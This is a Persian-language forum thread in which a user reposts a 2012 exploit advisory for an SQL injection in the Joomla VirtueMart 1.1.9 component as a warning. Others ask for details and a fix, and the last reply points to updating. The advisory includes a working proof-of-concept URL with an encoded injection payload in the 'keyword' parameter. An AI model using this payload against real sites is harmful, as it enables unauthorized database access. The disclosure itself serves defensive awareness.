اکسپلویت com_virtuemart جوملا

[Phantom Wolf مهمان]

باسلام.

تاریخ اکسپلویت:2012.05.04

شرح:

##################################################

# Exploit Title: joomla component (com_virtuemart) SQL injection Vulnerability

# Download: http://dev.virtuemart.net/attachments/download/287/VirtueMart_1.1.9-COMPLETE_PACKAGE.j15.zip

# Software Link: http://virtuemart.net/

# Date: 2012.05.04

# Category: webapps

# Author: ReeD

# E-mail: reed@wteam.ro

# Version: 1.1.9

##################################################

Exploiting these issue could allow an attacker to compromise the application, if i have user access.

[~]Exploit/p0c:

http://www.site.com/index.php?option=com_virtuemart&page=account.index&keyword=[sqli]

Example:

http://www.site.com/index.php?option=com_virtuemart&page=account.index&keyword=%25%2527%29+or+1%3D1%23

-------

این اکسپلویت شدیدا خطرناک است سریعا نصبت به باگ گیری (در صورت اسفاده) فرمایید

موفق و موید باشید

[kianesfahan 10]

درود .

دوست عزیز امکان دارد در این مورد بیشتر توضیح دهید ؟ که چی هست ؟

چیکار میکنه ؟ روش استفاده ؟

ممنون .

[Phantom Wolf مهمان]

باسلام.

این درباره یکی از کامپوننت های جوملا هست که بنده این رو گذاشتم که به کاربران اطلاع دهم که هرچه سریع تر کامپوننت مورد نظر رو پاک کنند تا هک نشوند

موفق باشید:auizz3ffy9vla57584x

[kianesfahan 10]

درود .

یعنی کاموپونت virtuemart که در این انجمن هم منتشر شده دارای مشکل امنیتی هست ؟

خوب شما اموزش رفع مشکل را بگذارید .

[Pooyan Afzali 41]

اخرین نسخه برنامه مشکلش حل شده فقط بروز رسانی کنید